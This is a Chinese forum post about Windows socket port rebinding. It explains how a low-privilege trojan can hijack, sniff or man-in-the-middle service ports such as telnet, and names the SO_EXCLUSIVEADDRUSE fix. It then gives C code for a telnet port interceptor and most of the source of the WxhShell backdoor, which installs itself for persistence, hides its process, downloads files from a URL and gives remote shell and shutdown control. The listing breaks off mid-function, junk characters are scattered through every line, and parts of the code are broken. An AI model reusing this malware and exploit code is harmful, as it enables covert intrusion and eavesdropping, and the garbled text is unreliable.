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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 4XX21<yn  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ]6=cSs!  
Lc<Gn y^  
  saddr.sin_family = AF_INET; hDmVv;M:  
/91H! s  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); v,g,c`BjK  
"uZ'oN  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); %,6@Uu#%6  
(_<ruwV]`  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 {(xNC#   
6@Eip[e  
  这意味着什么?意味着可以进行如下的攻击: /SN.M6~  
^0X86  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 n-H0cm  
&w/aQs~  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 8)R )h/E>  
cC4*4bMm  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 9dKrE_zK:  
tk1qgjE(?  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  i3(bg,  
?P"ht  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 "b -KVZ  
@iWIgL  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 X)~JX}-L  
Zu~ #d)l3N  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 FA4bv9:hi  
"%>/rh2Iq  
  #include F Fg0}  
  #include 7 F+w o  
  #include }\l5|Ft[!  
  #include    <V>vDno\  
  DWORD WINAPI ClientThread(LPVOID lpParam);   +T UtVG  
  int main() z KJ6j]m  
  { L & PhABZ  
  WORD wVersionRequested; Fnll&TF  
  DWORD ret; r,yhc =  
  WSADATA wsaData; {u9VHAXCf  
  BOOL val; dVCBpCxI  
  SOCKADDR_IN saddr; E;-R<X5n  
  SOCKADDR_IN scaddr; J0|/g2%0  
  int err; j##IJm  
  SOCKET s; b/O~f8t  
  SOCKET sc; (Ptv#LSUX  
  int caddsize; chfj|Ce]x  
  HANDLE mt; Oo=} j  
  DWORD tid;   =b9?r  
  wVersionRequested = MAKEWORD( 2, 2 ); s "*Cb*  
  err = WSAStartup( wVersionRequested, &wsaData ); fE_QB=9 cz  
  if ( err != 0 ) { `wk#5[Y_  
  printf("error!WSAStartup failed!\n"); C/ ;f)k<  
  return -1; ,v)@&1Wh:  
  } 6 D~b9 e  
  saddr.sin_family = AF_INET; +J+]P\:  
   J. {[>  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 =b !f  
X "1q$xwc  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); W13$-hf9  
  saddr.sin_port = htons(23); Hh54&YKZ  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 9\Yj`,i5  
  { BnAia3z  
  printf("error!socket failed!\n"); gpE5ua&  
  return -1; T#er5WOH  
  } rq2XFSXn  
  val = TRUE; g-')|0py  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 3- LO  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) #sNa}292"  
  { hDVD@b  
  printf("error!setsockopt failed!\n"); "&L<u0KHG  
  return -1; eFZ`0V0  
  } "L{;=-e  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 1z[WJ}$u  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 f N t  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 AO/J:`  
G ytI_an8  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) V^?+|8_(  
  { G 7zfyw}W  
  ret=GetLastError(); p3sz32RX  
  printf("error!bind failed!\n"); iM}cd$r{  
  return -1; 3tOnALv  
  } -41L^Di\  
  listen(s,2); 51&wH  
  while(1) rQ~%SUM7  
  { I#$u(2.H  
  caddsize = sizeof(scaddr); PT>,:zY  
  //接受连接请求 i-tX5Md|  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); !~>u\h  
  if(sc!=INVALID_SOCKET) gsT%_2>CL  
  { ,uDB ]  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); :@YZ6?hf  
  if(mt==NULL) U/{cYX  
  { @bD,^3U  
  printf("Thread Creat Failed!\n"); zb:p,T@5  
  break; ?t?!)#X  
  } !aIIjWz]  
  } srg#<oH|{c  
  CloseHandle(mt); 9)mJo(  
  } kdg Q -UN$  
  closesocket(s); 'nW:2(J  
  WSACleanup(); 1/ j}VC  
  return 0; ,X9Y/S l  
  }   1gCp/m2r7  
  DWORD WINAPI ClientThread(LPVOID lpParam) ^\Jg {9a  
  { 8G(wYlxi  
  SOCKET ss = (SOCKET)lpParam; 5b|_?Em7  
  SOCKET sc; se7_:0+w  
  unsigned char buf[4096]; +F4xCz7f  
  SOCKADDR_IN saddr; H:p(C?tk{  
  long num; s)&"g a  
  DWORD val; i[WTp??Uv  
  DWORD ret; -u)06C*39  
  //如果是隐藏端口应用的话,可以在此处加一些判断 }2JSa8  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   k6G23p[9  
  saddr.sin_family = AF_INET; T>W(Caelq  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Q:@Y/4=  
  saddr.sin_port = htons(23); #YjV3O5<  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) !"p,9  
  { Mt-y{*6!k  
  printf("error!socket failed!\n"); &/Tx@j^.C  
  return -1; .RoO 6:T6  
  } 7|"11^q  
  val = 100; (Tc ~  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) g/JAr<  
  { 9;JU c0%  
  ret = GetLastError(); 574 b]  
  return -1; + ZGOv,l  
  } b!_l(2  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) :n>:*e@w%  
  { .DCp)&m l;  
  ret = GetLastError(); 7.akp  
  return -1; YHCXVu<.b  
  } M`iJ6L  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) .{)b^gE  
  { YQe @C  
  printf("error!socket connect failed!\n"); b @5&<V;r2  
  closesocket(sc); T73saeN  
  closesocket(ss); M,y='*\M  
  return -1; }{E//o:Ta  
  } $3"0w   
  while(1) QIo|t!7F  
  {  <}B|4($  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 uA\A4  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 0#<_:E  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 h :NHReMT  
  num = recv(ss,buf,4096,0); nE::9Yh8z  
  if(num>0) zM[WbB+"m  
  send(sc,buf,num,0); C:gE   
  else if(num==0) 2NE/ZqREg  
  break; (;Lz `r'  
  num = recv(sc,buf,4096,0); Ia>qVM0  
  if(num>0) HQ2in_'  
  send(ss,buf,num,0); 9n9/[?S  
  else if(num==0) aU#8W.~  
  break; \U~ggg0h  
  } =U|J{^ >I  
  closesocket(ss); f\/};a  
  closesocket(sc); (Grj_p6O  
  return 0 ; 9chiu%20  
  } 9x{T"'  
LnR3C:NO k  
x2|DI)J1'  
========================================================== P`U5kNN  
tDIzn`$ z  
下边附上一个代码,,WXhSHELL y0A2{'w  
X3 a:*1N  
========================================================== i?*&1i@  
!?Ow"i-lp  
#include "stdafx.h" j-yD;N  
U.>n]/&  
#include <stdio.h> Td8'z'  
#include <string.h> ,wZ[Y 3  
#include <windows.h> nC>#@*+jK  
#include <winsock2.h> Rs<,kMRGVL  
#include <winsvc.h> {L<t6A  
#include <urlmon.h> 1d-j_ H`s  
[C7:Yg7  
#pragma comment (lib, "Ws2_32.lib") RZ?>>Ll6  
#pragma comment (lib, "urlmon.lib") bh+R9~  
G?jY>;P)  
#define MAX_USER   100 // 最大客户端连接数 _^&oNm1  
#define BUF_SOCK   200 // sock buffer )%#hpP M^  
#define KEY_BUFF   255 // 输入 buffer eZ  ]6 Q  
*?\2Ohp  
#define REBOOT     0   // 重启 /vU9eh"%  
#define SHUTDOWN   1   // 关机 zRf]SZ(t O  
LU;ma((yy[  
#define DEF_PORT   5000 // 监听端口 rEddX  
hoU&'P8  
#define REG_LEN     16   // 注册表键长度 (y(V,kXwa8  
#define SVC_LEN     80   // NT服务名长度 #2u-L~n  
*sL'6"#Cre  
// 从dll定义API  NPf,9c;  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); tK8\Ib J  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); uOougSBV,  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); )Dqv&^  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); P#Eqe O  
b[BSUdCB  
// wxhshell配置信息 Dw.>4bA.  
struct WSCFG { &,KxtlR![  
  int ws_port;         // 监听端口 CWC*bkd5a  
  char ws_passstr[REG_LEN]; // 口令 TxxW/f9D  
  int ws_autoins;       // 安装标记, 1=yes 0=no *NXwllrci  
  char ws_regname[REG_LEN]; // 注册表键名 HjV^6oP  
  char ws_svcname[REG_LEN]; // 服务名 n,V`Y'v)  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 %81tVhg  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 {P = {)  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 $xloB  
int ws_downexe;       // 下载执行标记, 1=yes 0=no tQ|b?3  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" \&e+f#!u  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 n.7 $*9)#  
`5!7Il  
}; gHox{*hb[  
4@8i,q>  
// default Wxhshell configuration -u8@ .  
struct WSCFG wscfg={DEF_PORT, Ex@#!fz{%  
    "xuhuanlingzhe", } 8r+&e  
    1, 59EAqz[:  
    "Wxhshell", Gg-<3z  
    "Wxhshell", 9V"^F.>  
            "WxhShell Service", v`v+M4upC  
    "Wrsky Windows CmdShell Service", O+'Pq,hn  
    "Please Input Your Password: ", 3>S.wyMR4  
  1, VQ}=7oe%q  
  "http://www.wrsky.com/wxhshell.exe", kSI,Q!e\  
  "Wxhshell.exe" I7[+:?2  
    }; f$H"|Mb e  
e7hPIG  
// 消息定义模块 pwu5Fxn)  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; %!eK"DKG^  
char *msg_ws_prompt="\n\r? for help\n\r#>"; G`)I _uO  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; _xmM~q[c7p  
char *msg_ws_ext="\n\rExit."; nQ/ha9v=n  
char *msg_ws_end="\n\rQuit."; g`1*p|  
char *msg_ws_boot="\n\rReboot..."; Z#o o8  
char *msg_ws_poff="\n\rShutdown..."; 9Y/c<gbY  
char *msg_ws_down="\n\rSave to "; YemOP9  
xE0+3@_>>  
char *msg_ws_err="\n\rErr!"; 0<^K0>lm p  
char *msg_ws_ok="\n\rOK!"; !\"C<*5  
%K%8 ~B  
char ExeFile[MAX_PATH]; f|b|\/.=  
int nUser = 0; 4}NFa; M1  
HANDLE handles[MAX_USER]; F<^,j7@  
int OsIsNt; WOg_Pn9HI  
.Q?AzU,2D  
SERVICE_STATUS       serviceStatus; 1x\%VtO>\b  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; NIYAcLa@n8  
52:oe1-8  
// 函数声明 ;JAe=wt^'I  
int Install(void); )Wc#?K  
int Uninstall(void); ]Mtb~^joG  
int DownloadFile(char *sURL, SOCKET wsh); s2d;601*b  
int Boot(int flag); ff{ESFtD  
void HideProc(void); v3hNvcMpf  
int GetOsVer(void); %K/rPhU  
int Wxhshell(SOCKET wsl); Z9!goI  
void TalkWithClient(void *cs); ); $~/H4  
int CmdShell(SOCKET sock); al" 1T-  
int StartFromService(void); hL8QA!  
int StartWxhshell(LPSTR lpCmdLine); 8LkC/  
3K54:  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); R?I(f(ib   
VOID WINAPI NTServiceHandler( DWORD fdwControl ); @gTpiV2  
)6!SFj>.O  
// 数据结构和表定义 5M*ZZ+YX  
SERVICE_TABLE_ENTRY DispatchTable[] = w0Us8JNGz  
{ D* Vr)J  
{wscfg.ws_svcname, NTServiceMain}, .Sb|+[{  
{NULL, NULL} 4;j #7  
}; 9K)OQDv%6D  
}3vB_0[r  
// 自我安装 2-{8+*_'  
int Install(void) \8<bb<`  
{ ]YwIuz6]  
  char svExeFile[MAX_PATH]; E!ZDqq  
  HKEY key; 3 :f5xF  
  strcpy(svExeFile,ExeFile); 6!+"7r6  
.8wR;^  
// 如果是win9x系统,修改注册表设为自启动 N8m^h:b  
if(!OsIsNt) { La3f{;|u5M  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~6@~fhu  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); DhB: 8/J  
  RegCloseKey(key); 2Ie50U  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { NO6.qWl  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); (VC_vz-  
  RegCloseKey(key); >~XX'}  
  return 0; )zr/9aV  
    } sRY: 7>eg  
  } SD TX0v  
} 1R,n[`}h  
else { >5]Xl*{H)  
,g^Bu {?  
// 如果是NT以上系统,安装为系统服务 +IJpqFH  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); (|bht0  
if (schSCManager!=0) V1j&>-]]9*  
{ Ry/NfF=  
  SC_HANDLE schService = CreateService x\t>|DB  
  ( +F 5Dc  
  schSCManager, m#8KCZS  
  wscfg.ws_svcname, ir/2/ E  
  wscfg.ws_svcdisp, kv)LH{  
  SERVICE_ALL_ACCESS, 2X6y^f';\  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 3)GXu>) t  
  SERVICE_AUTO_START, =m-_0xo  
  SERVICE_ERROR_NORMAL, '8%aq8  
  svExeFile, i 0L7`TB  
  NULL, V+D "_  
  NULL, a9D 5qj  
  NULL, +Cau/sPXL  
  NULL, {)F-US  
  NULL L{(r@Vu  
  ); )P|Ql-rE4  
  if (schService!=0) 3ON]c13  
  { u,oxUySeG  
  CloseServiceHandle(schService); q^12Rj;H  
  CloseServiceHandle(schSCManager); '^P Ud`  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ?g<*1N?:  
  strcat(svExeFile,wscfg.ws_svcname); 0BE%~W  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { $SXF>n{}  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); iUl{_vb  
  RegCloseKey(key); ` 6"\.@4  
  return 0; YQ?|Vb U  
    } 5[*MT%ms  
  } 8vUP{f6{  
  CloseServiceHandle(schSCManager); A.<X78!^  
} O<%U*:B  
} hO(HwG?8t  
iJsw:Nc  
return 1; ~oaVH.[e=  
} 2TAy'BB;)  
Xe+Hez,  
// 自我卸载 XK&#K? M  
int Uninstall(void) g%\e80~1(  
{ mexI }  
  HKEY key; gW*ee  
U&B~GJT+  
if(!OsIsNt) { X;}_[ =-  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;=e A2  
  RegDeleteValue(key,wscfg.ws_regname); =%RDT9T.  
  RegCloseKey(key); ]|732Z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { s:fnOMv "  
  RegDeleteValue(key,wscfg.ws_regname); zu;Yw=cM)  
  RegCloseKey(key); Wx XVL"  
  return 0; ,*C^ixNE  
  } [KjQW/sb'  
} ? 8~$du$  
} t zV"|s=o  
else { Kfj*#) SZ  
Mz"kaO  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); s"Kp+tTWj  
if (schSCManager!=0) \SMH",u  
{ -D V;{8U4  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); :A 1,3g  
  if (schService!=0) c=| a\\  
  { L\"=H4r  
  if(DeleteService(schService)!=0) { *tP,Ol  
  CloseServiceHandle(schService); HX <;=m  
  CloseServiceHandle(schSCManager); Dxu )by  
  return 0; 9ge$)q@3  
  } {+`ep\.$&  
  CloseServiceHandle(schService); ||_F /AD  
  } wr#+q1 v  
  CloseServiceHandle(schSCManager); q?t>!1c  
} p]aIMF_  
} tdt6*  
oYqC"g&4Z  
return 1; =0v{+ #}  
} DSnsi@Mi  
LBM:>d5  
// 从指定url下载文件 eM~i (]PY  
int DownloadFile(char *sURL, SOCKET wsh) pYa<u,>pN  
{ ;N,7#l|wi  
  HRESULT hr; f|apk,o_  
char seps[]= "/"; +~[19'GH  
char *token; T&0tW"r?  
char *file; H?B.Hp|  
char myURL[MAX_PATH]; &!_Ko`b8K  
char myFILE[MAX_PATH]; t>b^S,  
"iKK &%W  
strcpy(myURL,sURL); ?s_q|d_  
  token=strtok(myURL,seps); Yhx~5p  
  while(token!=NULL) X'3F79`  
  { ZERd#7@m+  
    file=token; >&$ V"*]  
  token=strtok(NULL,seps); JEAqSZak#  
  } aH >.o 1;  
> h:~*g  
GetCurrentDirectory(MAX_PATH,myFILE); QR,i b  
strcat(myFILE, "\\"); *qR tk  
strcat(myFILE, file); gReaFnm  
  send(wsh,myFILE,strlen(myFILE),0); k,&W5zBKe  
send(wsh,"...",3,0); &2Y>yFB ,  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); *X)OdU  
  if(hr==S_OK) ricDP 9#a  
return 0; Cvl"")ZZ`  
else <vj&e(D^  
return 1; LAvAjvRc  
~o8$/%Oeb/  
} U3Dy:K[  
fNlUc  
// 系统电源模块 .rMGI "  
int Boot(int flag) wv*r}{%7g[  
{ c8u&ev.U  
  HANDLE hToken; @ojn< 7W  
  TOKEN_PRIVILEGES tkp; 0_j!t  
/Db~-$K  
  if(OsIsNt) { 3XA^{&}  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 5^5h%~)}  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); <2R=!n@b\  
    tkp.PrivilegeCount = 1; Karyipn}  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; MqNp*n2  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Ml)WY#7  
if(flag==REBOOT) { Lu<'A4Q1  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) <4VUzgX2  
  return 0; MbJV)*Q  
} h?idRaN_  
else { ;,F}!R  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ABx0IdOcI  
  return 0; rv\<Q-uQ8  
} 3 8f9jF%7j  
  } vk$]$6l2  
  else { W;o\}irep  
if(flag==REBOOT) { xvW+;3;  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 8S)k]$wf%  
  return 0; L >xN7N3&m  
} d_OHQpfK  
else { vZk+NS<  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) {o;J'yjre1  
  return 0; ~s !+9\Fi  
} `s.y!(`q  
} ./[t'dgC  
Gm_Cq2PD(  
return 1; =>ignoeI  
} 9GCxF`OB  
2!l)% F`  
// win9x进程隐藏模块 whD%Oz*f  
void HideProc(void) ?z?IEj}  
{ P=V~/,>SZ!  
3VcG /rf  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); <b{ApsRJf  
  if ( hKernel != NULL ) QQ pe.oF  
  { (?$}Vp  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); yfi.<G)S  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); <@JK;qm>S  
    FreeLibrary(hKernel); "S*lI^8Z!  
  } A5 /Q:8b  
r"k\G\,%  
return; Dy5'm?  
} )6Hc Pso6  
}oloMtp$  
// 获取操作系统版本 bW[Y:}Hk~  
int GetOsVer(void) #dU-*wmJ  
{ qm8[ ^jO&  
  OSVERSIONINFO winfo; # M%-q8  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ax,%07hJ  
  GetVersionEx(&winfo); jsH7EhF{'  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) D1#fy=u69|  
  return 1; n:'Mpux  
  else #2/k^N4r  
  return 0; x2(hp  
} A]Qg X5\sa  
5Z1b9.;.,  
// 客户端句柄模块 R$_#7>3  
int Wxhshell(SOCKET wsl) \"|E8A6/  
{ SW# 5px`  
  SOCKET wsh; &Z#g/Hc  
  struct sockaddr_in client; Z;-=xp  
  DWORD myID; e@w-4G(;  
Xu2:yf4No*  
  while(nUser<MAX_USER) Y{6y.F*Q#  
{ Gdb6 U{  
  int nSize=sizeof(client); 1T!(M"'Ij  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 'MVE5  
  if(wsh==INVALID_SOCKET) return 1; 'QeCJ5p]  
]>B>.s  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); sZxf.  
if(handles[nUser]==0) |@!4BA  
  closesocket(wsh); \u9l4  
else 33:{IV;k  
  nUser++; _H} 8eU  
  } o/t^rY y  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); l`>|XUf6  
3"!h+dXw  
  return 0; `O/1aW1  
} Na=.LW-ma=  
=ss(~[  
// 关闭 socket 1Tm,#o  
void CloseIt(SOCKET wsh) BE>^;`K  
{ % 8u97f W  
closesocket(wsh); -Ri/I4Xj  
nUser--; P'l'[Kz{'  
ExitThread(0); >BFUts%  
} R2,Z`I  
v'=$K[_  
// 客户端请求句柄 r}T(?KGx  
void TalkWithClient(void *cs) ?V&# nA  
{ V7DMn@Ckw  
`X)y5*##wq  
  SOCKET wsh=(SOCKET)cs; -j& A;G  
  char pwd[SVC_LEN]; ^1`Mz<  
  char cmd[KEY_BUFF]; F)K&a  
char chr[1]; i=3~ h Zl  
int i,j; BLaF++Fop  
ERTjY%A  
  while (nUser < MAX_USER) { q8 &\;GK|  
}jdMo83  
if(wscfg.ws_passstr) { E>_N|j)9  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )>"|<h.2]  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {3Y R_^>?  
  //ZeroMemory(pwd,KEY_BUFF); "zE>+zRl  
      i=0; emT/5'y  
  while(i<SVC_LEN) { #|j8vmfn$e  
&s^t~>Gpr  
  // 设置超时 #M ;j*IBl*  
  fd_set FdRead; yRAfIB$T}"  
  struct timeval TimeOut; "50 c<sZSB  
  FD_ZERO(&FdRead); [b:0j-  
  FD_SET(wsh,&FdRead); z&wJ"[nOC  
  TimeOut.tv_sec=8; TGDrTyI?y  
  TimeOut.tv_usec=0; #=uV, dw  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); >q&X#E<w  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); |1%eo.  
EQ [K  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :lU#Dm]  
  pwd=chr[0]; W\EvMV"  
  if(chr[0]==0xd || chr[0]==0xa) { h~pQ  
  pwd=0; xp*Wf#BF  
  break; W:VX^8</  
  } Suo%uD  
  i++; :@4+}  
    } Ak kth*p  
JA09 o(  
  // 如果是非法用户,关闭 socket .QW@rV:T  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); f = 'AI  
} |mQC-=6t;Y  
uOAd$;h@_Z  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); XUVBD;"f!  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Hb3..o:  
qTz5P  
while(1) { 1\aV4T  
$9@3dM*E?Z  
  ZeroMemory(cmd,KEY_BUFF); )i"52!  
5cj&D74o  
      // 自动支持客户端 telnet标准   l0r^LK$  
  j=0; U!jRF  
  while(j<KEY_BUFF) { >r>pM(h  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); mtf><YU  
  cmd[j]=chr[0]; 5mX"0a_Q  
  if(chr[0]==0xa || chr[0]==0xd) {  p ~pl|  
  cmd[j]=0; 0.wNa~_G|  
  break; ?aQVaw&L!7  
  } 8/@*6J  
  j++; O[8wF86R  
    }  _ 'K6S  
x<5;#  
  // 下载文件 <u  ImZC  
  if(strstr(cmd,"http://")) {  z $iI  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 79 \SbB  
  if(DownloadFile(cmd,wsh)) r*c x_**  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2;7n0LOs}  
  else * $|9e  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \;Sl5*kr  
  } je74As[  
  else { bSW~hyI w  
Ow {NI-^K  
    switch(cmd[0]) { |[@v+koq  
  LYuMR,7E  
  // 帮助 **]=!W  
  case '?': { b2^O$ l  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ft$ 'UJ% j  
    break; 2UMX%+ "J  
  } h$d`Jmaq  
  // 安装 t; @T~%  
  case 'i': { au+ a7~0~  
    if(Install()) 'DUY f5nF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *>T@3G.{Rm  
    else NkxW*w%}l  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); C}71SlN'M  
    break; q+)s  
    } xgIb4Y%  
  // 卸载 -e.ygiK.`S  
  case 'r': { W"g@*B'|  
    if(Uninstall()) HHZrovA#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~V/?/J$  
    else |iVw7M:  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); m,SWG[~  
    break; i+|/V&#3[  
    } fK4NmdTV  
  // 显示 wxhshell 所在路径 G C@U['  
  case 'p': { 4Z/ ]7Ie  
    char svExeFile[MAX_PATH]; ?V})2wwP  
    strcpy(svExeFile,"\n\r"); 9j1 tcT  
      strcat(svExeFile,ExeFile); !I Byv%m&\  
        send(wsh,svExeFile,strlen(svExeFile),0); vl5r~F  
    break; 5xc-MkIRL  
    } GTW5f  
  // 重启 B0!W=T\  
  case 'b': { 2w:cdAv$  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); mg *kB:p  
    if(Boot(REBOOT)) $,jynRk7q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); bAL!l\&2  
    else { SI;SnF'[7  
    closesocket(wsh); B3yp2tncj  
    ExitThread(0); k^\>=JTq=  
    } I< Rai"  
    break; FhMl+Ou  
    } \E,Fe:/g  
  // 关机 ^/jALA9!  
  case 'd': { ipJnNy;  
